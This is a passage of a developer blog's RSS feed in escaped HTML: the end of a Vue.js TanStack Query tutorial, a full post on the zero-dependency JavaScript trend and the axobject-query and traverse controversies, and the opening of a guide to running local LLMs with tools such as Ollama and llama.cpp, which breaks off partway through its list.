&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filterMyArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(filterMyArticles);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach keeps your components clean and your queries reusable!&lt;/p&gt;
&lt;h3 id=&quot;performance-implications-and-optimizations&quot;&gt;Performance Implications and Optimizations&lt;/h3&gt;
&lt;p&gt;TanStack Query is pretty smart out of the box, but here are some tips to squeeze out even more performance:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use &lt;code&gt;staleTime&lt;/code&gt;&lt;/strong&gt;: This tells TanStack Query how long data should be considered fresh. Set it higher for data that doesn’t change often.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Prefetching&lt;/strong&gt;: If you know the user is likely to need certain data soon, prefetch it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;queryClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQueryClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;queryClient.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;prefetchQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }], &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pagination&lt;/strong&gt;: For large datasets, use the &lt;code&gt;useInfiniteQuery&lt;/code&gt; hook to implement efficient pagination or infinite scrolling.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;error-handling-and-retry-strategies&quot;&gt;Error Handling and Retry Strategies&lt;/h3&gt;
&lt;p&gt;TanStack Query has built-in retry logic, but you can customize it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryKey: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryFn: fetchArticles,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Will retry failed requests 3 times before displaying an error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  retry: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Exponential back-off strategy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;retryDelay&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;attemptIndex&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Math.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;min&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; attemptIndex, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For more specific error handling, you can use the &lt;code&gt;onError&lt;/code&gt; callback:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryKey: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryFn: fetchArticles,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error.response &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; error.response.status &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;401&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Handle unauthorized error, maybe redirect to login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;And there you have it, folks! We’ve taken our Vue.js app (well, mine technically 😅) from manual data fetching to a TanStack Query powerhouse. I quite enjoyed how short and easy was the refactor, to be honest.&lt;/p&gt;</content:encoded></item><item><title>Zero Dependency JavaScript is the Future?</title><link>https://lirantal.com/blog/zero-dependency-javascript-is-the-future/</link><guid>https://lirantal.com/blog/zero-dependency-javascript-is-the-future/</guid><description>The rise of zero dependency JavaScript with packages like `neotraverse` and the controversy around the `axobject-query` package demonstrate the different perspectives and trade-offs that developers and maintainers need to consider when building and maintaining JavaScript applications.</description><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The JavaScript ecosystem is well known for its use of small packages (&lt;code&gt;left-pad&lt;/code&gt; anyone?) and being a huge repository spanning more than 3 million open-source packages but what if we could build our JavaScript applications without any dependencies? Are we seeing a trend towards &lt;strong&gt;zero dependency JavaScript&lt;/strong&gt;? what does it mean for the future of the JavaScript development, its impact on security, and the overall developer experience?&lt;/p&gt;
&lt;h2 id=&quot;the-axobject-query-controversy-backwards-compatibility-vs-modern-javascript&quot;&gt;The AXObject Query controversy: backwards compatibility vs modern JavaScript&lt;/h2&gt;
&lt;p&gt;On June 22nd, a code change through a merged &lt;a href=&quot;https://github.com/A11yance/axobject-query/pull/354&quot;&gt;pull request&lt;/a&gt; from &lt;code&gt;ljharb&lt;/code&gt; landed on the &lt;code&gt;axobject-query&lt;/code&gt; GitHub repository. The goal with this update was to restore backwards compatibility that was unknowingly broken by a previous code change that switched dependencies to the &lt;code&gt;dequal&lt;/code&gt; package.&lt;/p&gt;
&lt;p&gt;The package maintainer for AXObject agreed handing over the project’s maintenance with expectations for &lt;code&gt;ljhrab&lt;/code&gt; making the necessary changes to restore the compatibility with older versions of Node.js, specifically Node.js 0.4. Yet, this changed introduced a new controversy in the JavaScript ecosystem.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/no-one-needs-node-4-support.png&quot; alt=&quot;no-one needs Node 4 support&quot;&gt;&lt;/p&gt;
&lt;p&gt;Specifically, this pull request replaced some packages like the Jest testing framework with tape and other dependencies such as &lt;code&gt;object.values&lt;/code&gt;, and &lt;code&gt;deep-qual-json&lt;/code&gt; (that replaced &lt;code&gt;dequal&lt;/code&gt;). While changing dependencies and switching versions and toolchains in and out is nothing special in the JavaScript ecosystem, this change was different.&lt;/p&gt;
&lt;p&gt;From Jordan’s (&lt;code&gt;ljharb&lt;/code&gt;) perspective, the goal of this pull request is to backport the &lt;code&gt;axobject-query&lt;/code&gt; package to be compatible with older and unsupported versions of Node.js that are now effectively out of maintenance and deemed as EOL (End of Life) by the Node.js project. However, at what cost?&lt;/p&gt;
&lt;p&gt;The new changes introduced by the pull request, which aimed to support Node.js 0.4 resulted in the &lt;a href=&quot;https://npmgraph.js.org/?q=deep-equal-json&quot;&gt;growth of the third-party dependency tree&lt;/a&gt; of the &lt;code&gt;axobject-query&lt;/code&gt; package. Specifically, introducing the &lt;code&gt;deep-equal-json&lt;/code&gt; adds 16 new nested dependencies:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/deep-equal-json-dependency-tree.png&quot; alt=&quot;deep-equal-json dependency tree&quot;&gt;&lt;/p&gt;
&lt;p&gt;Finally, Jordan only merged the Node.js 0.4 backward compatibility changes to the v3 branch of the &lt;code&gt;axobject-query&lt;/code&gt; package, leaving the main branch with &lt;code&gt;dequal&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-problem-with-a-large-dependency-tree&quot;&gt;What is the problem with a large dependency tree?&lt;/h2&gt;
&lt;p&gt;Generally speaking, npm packages help us build a maintainable and modular application by breaking down the code into smaller, reusable, and testable units. The open and open-source JavaScript ecosystem greatly benefits from this modular approach and advocates for it.&lt;/p&gt;
&lt;p&gt;However, some would argue the more dependencies we introduce into our projects, the more potential burden we add to our applications. This burden can manifest in various ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Speed&lt;/strong&gt;: The more dependencies we have, the longer it takes for the &lt;code&gt;npm&lt;/code&gt; package manager to install them. It amounts to many HTTP requests, bandwidth, and can result in a slow down the development process and CI/CD pipelines, as well as end-users consumers that rely on a package. Especially for command-line applications that rely on the &lt;code&gt;npx &amp;#x3C;command&gt;&lt;/code&gt; pattern.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Storage&lt;/strong&gt;: The more dependencies we have, the more disk space we need to store them. &lt;code&gt;npkill&lt;/code&gt; is a day-to-day use CLI that really portrays the issue of a growing &lt;code&gt;node_modules/&lt;/code&gt; folder, often times to gigabytes of size.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Maintenance&lt;/strong&gt;: The more dependencies we have, the more maintenance we need to do. We need to keep track of the dependencies, their versions, and their potential vulnerabilities. We need to update them regularly to benefit from the latest features, bug fixes, and security patches. We need to test them to ensure they work as expected and don’t introduce regressions. We need to fix them if they break our applications. We need to remove them if they are no longer needed. We need to document them to help other developers understand how they work and how they can be used. We need to contribute to them if we find bugs or want to add new features. We need to review them to ensure they meet our quality standards and don’t introduce any potential vulnerabilities. So bottom line, a lot of work :-).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: A bigger dependency tree would often mean bigger potential for security vulnerabilities we introduce into our applications due to more code written by others who expand the application surface in potentially insecure code. A growth in dependency tree could also potentially translate to more individual maintainers who publish them, which means more reliance, trust, and hope that they all follow good security practices (enabling 2FA, not leaking or reusing secrets, etc).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;zero-dependency-vs-mere-3-new-dependency-addition&quot;&gt;Zero dependency vs mere 3 new dependency addition&lt;/h2&gt;
&lt;p&gt;A follow-up pull request to a different repository of Jordan’s demonstrate the different between a zero dependency surface of an npm package (its size, among other traits), and the addition of new dependencies.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;traverse&lt;/code&gt; package transform objects by visiting every node on a recursive walk. In version 0.6.8, it is a small package with zero dependencies. However, in version 0.6.9, it &lt;a href=&quot;https://github.com/ljharb/js-traverse/compare/v0.6.8...v0.6.9&quot;&gt;introduces 3 new dependencies&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/traverse-package-diff.png&quot; alt=&quot;traverse-package-diff&quot;&gt;&lt;/p&gt;
&lt;p&gt;Those mere 3 dependencies transformed the &lt;code&gt;traverse&lt;/code&gt; npm package from a zero dependency to the following dependency tree (on the right):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/traverse-npm-package-dependency-change.png&quot; alt=&quot;traverse-npm-package-dependency-change&quot;&gt;&lt;/p&gt;
&lt;p&gt;This change introduces real-world implications on the size of the package, the number of dependencies, and the fetch time for this package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The package size increased to 65.7KB (from 4KB)&lt;/li&gt;
&lt;li&gt;The download time over a slow connection increased to 362ms (from 30ms)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are significant orders of magnitude changes that can impact the developer experience, the end-user experience, and the overall performance of the application.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/new-traverse-npm-package-size.png&quot; alt=&quot;new-traverse-npm-package-size&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-rise-of-zero-dependency-javascript&quot;&gt;The rise of zero dependency JavaScript&lt;/h2&gt;
&lt;p&gt;Concerned with the new traverse change, &lt;a href=&quot;https://github.com/puruvj&quot;&gt;Puru Vijay&lt;/a&gt; of the Svelte team, introduced &lt;a href=&quot;https://www.npmjs.com/package/neotraverse&quot;&gt;neotraverse&lt;/a&gt; (with a matching version structure too, i.e: 0.6.9) to provide a zero dependency alternative to the &lt;code&gt;traverse&lt;/code&gt; package. The &lt;code&gt;neotraverse&lt;/code&gt; package is a drop-in replacement for the &lt;code&gt;traverse&lt;/code&gt; package and provides the same functionality without any dependencies.&lt;/p&gt;
&lt;p&gt;It’s a drop-in replacement, ESM-first, no polyfills and while still maintaining the original traverse API, is aimed at being fast (and of course dependencies free).&lt;/p&gt;
&lt;p&gt;Whether &lt;code&gt;neotraverse&lt;/code&gt; get picked up by developers, or serve as a social experiment, it none-the-less an important voice of developers and maintainers in the JavaScript ecosystem who want to move towards modern JavaScript capabilities (ESM-only), and respect low or zero dependency future.&lt;/p&gt;
&lt;p&gt;SvelteKit maintainer, &lt;a href=&quot;https://x.com/BenjaminMcCann&quot;&gt;Ben McCann&lt;/a&gt; made a similar zero dependency change with &lt;a href=&quot;https://github.com/sveltejs/svelte-preprocess&quot;&gt;svelte-preprocess&lt;/a&gt; which gets more than 400,000 weekly downloads, making its impact on downstream users and upstream consumers significant for DX:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/svelte-preprocess-npm-package.png&quot; alt=&quot;svelte-preprocess npm package&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;who-is-using-nodejs-04&quot;&gt;Who is using Node.js 0.4 ?&lt;/h2&gt;
&lt;p&gt;The Node.js 0.4 version was released on 2011-02-10 and have long been considered EOL (End of Life) by the Node.js project.&lt;/p&gt;
&lt;p&gt;To the naked eye, and intuitively, many developers will shake off any support needed or real-world cases of Node.js 0.4 running in production, but what about the numbers?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://nodejs.org/metrics/summaries/version.png&quot;&gt;Node.js runtime download metrics&lt;/a&gt; show that Node.js v0.4 total downloads from 2014 to July 2023 are at about 120,000. The average daily download count is merely 25/day. Over a period of 7 months for the year of 2023 account for 4,226 downloads. Is that enough to support the case for over a decade old versions of Node.js? Whether that is even practical for every npm package, or are there better ways of doing so, is a different question.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/nodejs-runtime-daily-downloads.png&quot; alt=&quot;nodejs-runtime-daily-downloads-by-version&quot;&gt;&lt;/p&gt;
&lt;p&gt;The source for Node.js downloads metrics is available at: &lt;a href=&quot;https://nodejs.org/metrics&quot;&gt;https://nodejs.org/metrics&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update: Matteo Collina, provided me with a newer Node.js download statistics source that is up to date here: &lt;a href=&quot;https://nodedownloads.nodeland.dev/&quot;&gt;https://nodedownloads.nodeland.dev&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/node-download-statistics.png&quot; alt=&quot;node download statistics&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;more-efforts-towards-a-zero-dependency-javascript-world&quot;&gt;More efforts towards a zero dependency JavaScript world&lt;/h2&gt;
&lt;p&gt;One random example is Biome’s maintainer &lt;a href=&quot;https://x.com/superchupu&quot;&gt;Superchupu&lt;/a&gt;, who &lt;a href=&quot;https://github.com/egoist/tsup/pull/1158&quot;&gt;proposed to replace&lt;/a&gt; the popular &lt;code&gt;globby&lt;/code&gt; package with &lt;code&gt;fdir&lt;/code&gt; and &lt;code&gt;picomatch&lt;/code&gt;, both having 0 dependencies and are faster than &lt;code&gt;globby&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/replacing-globby-with-zero-dependency-alternative.png&quot; alt=&quot;replacing globby with 0 dependency alternative&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next example comes from &lt;a href=&quot;https://x.com/passle_&quot;&gt;Pascal Schilp&lt;/a&gt; who shared a post about using codemods to replace third-party dependencies that are associative with the &lt;code&gt;left-pad&lt;/code&gt; incident - they’re mostly providing fundamental code that is concise and was used in the past due to missed features in the JavaScript language but no longer the case:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/codemods-to-replace-third-party-dependencies.png&quot; alt=&quot;codemods to replace third-party dependencies&quot;&gt;&lt;/p&gt;
&lt;p&gt;And finally, the &lt;a href=&quot;https://e18e.dev/&quot;&gt;e18e&lt;/a&gt; project is an initiative in the JavaScript ecosystem with aim to clean up the dependency tree of popular npm packages with stale, out of date, and a focus on speed and performance improvements.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The rise of zero dependency packages like &lt;code&gt;neotraverse&lt;/code&gt; and the controversy around the &lt;code&gt;axobject-query&lt;/code&gt; package demonstrate the different perspectives and trade-offs that developers and maintainers need to consider when building and maintaining JavaScript applications.&lt;/p&gt;
&lt;p&gt;We’re yet to see if zero dependency JavaScript is a moment-in-time trend or a long-term shift in the JavaScript ecosystem. Perhaps the new ESM vs CJS module support will also fuel the zero dependency trend as maintainers will not be keen to take on the burden of dual module system support, and will opt for the modern ESM-only approach, for which they may not find ESM-only modules to be compatible with.&lt;/p&gt;
&lt;p&gt;One last note on Node.js runtime versions: The Node.js project has a &lt;a href=&quot;https://nodejs.org/en/about/releases/&quot;&gt;long-term support (LTS) schedule&lt;/a&gt; that provides a stable and secure platform for developers to build and deploy their applications on. You should aim to always use the latest LTS version of Node.js to benefit from the latest features, bug fixes, and security patches.&lt;/p&gt;</content:encoded></item><item><title>How to run a local LLM for inference with an offline-first approach</title><link>https://lirantal.com/blog/how-to-run-local-llm-for-inference-with-offline-first-approach/</link><guid>https://lirantal.com/blog/how-to-run-local-llm-for-inference-with-offline-first-approach/</guid><description>How about we try a different approach to ChatGPT, Google Gemini or Anthropic&apos;s Claude? Learn how to run a local LLM model for inference so you can access it offline and without incurring costs beyond your own hardware compute.</description><pubDate>Mon, 15 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Large Language Model (LLM) hype train is in full swing even two years after the release of the ChatGPT app by OpenAI on November 2020. LLMs have revolutionized the field of natural language processing and are now being used in a wide range of applications, from chatbots to code generation (a la GenAI and what you’ve come to know as GitHub Copilot). However, running an LLM can be computationally expensive, or incur high subscription costs if LLMs are the underlying engine of your business. There are, of course, other reasons that warrant running an LLM locally, such as data leak and privacy concerns of LLMs, but this article will focus specifically on the task of how to run a local LLM for inference.&lt;/p&gt;
&lt;p&gt;To set the stage first, let’s define what an LLM is, how it works, and what are some of its components.&lt;/p&gt;
&lt;h2 id=&quot;what-is-a-large-language-model-llm&quot;&gt;What is a Large Language Model (LLM)?&lt;/h2&gt;
&lt;p&gt;An LLM is a type of machine learning model that is trained on a large amount of text data. Three key pieces make up LLMs and they are (1) the data which the model is trained on; (2) the architecture of the model (such as Transformer, GPT, BERT, etc.), and (3) the training process. With each iteration of training, the model learns to generate text by predicting the next word in a sequence of words, sequentially improving itself until it ends up generating text that is indistinguishable from human-written text - coherent and contextually relevant.&lt;/p&gt;
&lt;h2 id=&quot;what-is-inference&quot;&gt;What is inference?&lt;/h2&gt;
&lt;p&gt;Inference is the process of using a trained model to generate text. In essence, you can think of inference as another iteration of its last training state but now it handles live data, where the goal is the model’s ability to generate text based on the information it has learned during training. In the context of LLMs, inference involves feeding a prompt to the model and having it generate text based on the  prompt. The model generates text by predicting the next word (technically, a token) in the sequence.&lt;/p&gt;
&lt;h2 id=&quot;how-to-run-a-local-llm-for-inference&quot;&gt;How to run a local LLM for inference&lt;/h2&gt;
&lt;p&gt;There are several tools that wrap LLMs and provide the ability to run them locally and interact with them (the inference process, as we described above), most notably these are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ollama: the &lt;a href=&quot;https://github.com/ollama/ollama&quot;&gt;ollama open-source project&lt;/a&gt; has installers for macOS, Windows, and Linux. It is a simple and easy-to-use tool that allows you to run LLMs locally and interact with them via a command-line interface (CLI) for the chat aspect. Ollama supports several LLM models such as Llama 3, Phi3, Gemma, mistral and others. It is by far the easiest way to run an LLM locally for inference if you are looking for a simple CLI tool. Bonus, the Ollama tool also provides a REST API with similar signature as that of OpenAI API and also features a Docker image for easy deployment.&lt;/li&gt;
&lt;li&gt;Open WebUI: this was formerly known as Ollama WebUI but has since been renamed to &lt;a href=&quot;https://github.com/open-webui/open-webui&quot;&gt;Open WebUI&lt;/a&gt;. Open WebUI, another open-source project, featuring a rich ChatGPT-like interface with options to provide context through file upload, includes a UI for a chat interface, saved history, as well as downloading and managing LLM models.&lt;/li&gt;
&lt;li&gt;Chatty UI: a new open-source project by Addy Osmani and Jake Hoeger, &lt;a href=&quot;https://chattyui.com/&quot;&gt;Chatty UI&lt;/a&gt; is a web-based LLM tool that not only allows you to run LLMs locally but is also entirely built and based on the browser for the inference due to the WebGPU API. This opens a great new way to run LLMs natively in the browser (they are downloaded to the browser cache and IndexDB) and no other software installation is required.&lt;/li&gt;
&lt;li&gt;Llama.cpp: &lt;a href=&quot;https://github.com/ggerganov/llama.cpp&quot;&gt;llama.cpp&lt;/a&gt; is a C++ library that allows you to run LLMs locally and interact with them via a command-line interface (CLI). It is a more advanced tool than Ollama and provides more control over the LLMs you run locally and is aimed at having better performance. Llama.cpp supports several LLM models such as Llama 3, Phi3, Gemma, mistral and others. It is a great tool if you are looking for more control over the LLMs you run locally and more specifically will be useful if you plan to interface with LLMs over library bindings in C++.&lt;/li&gt;
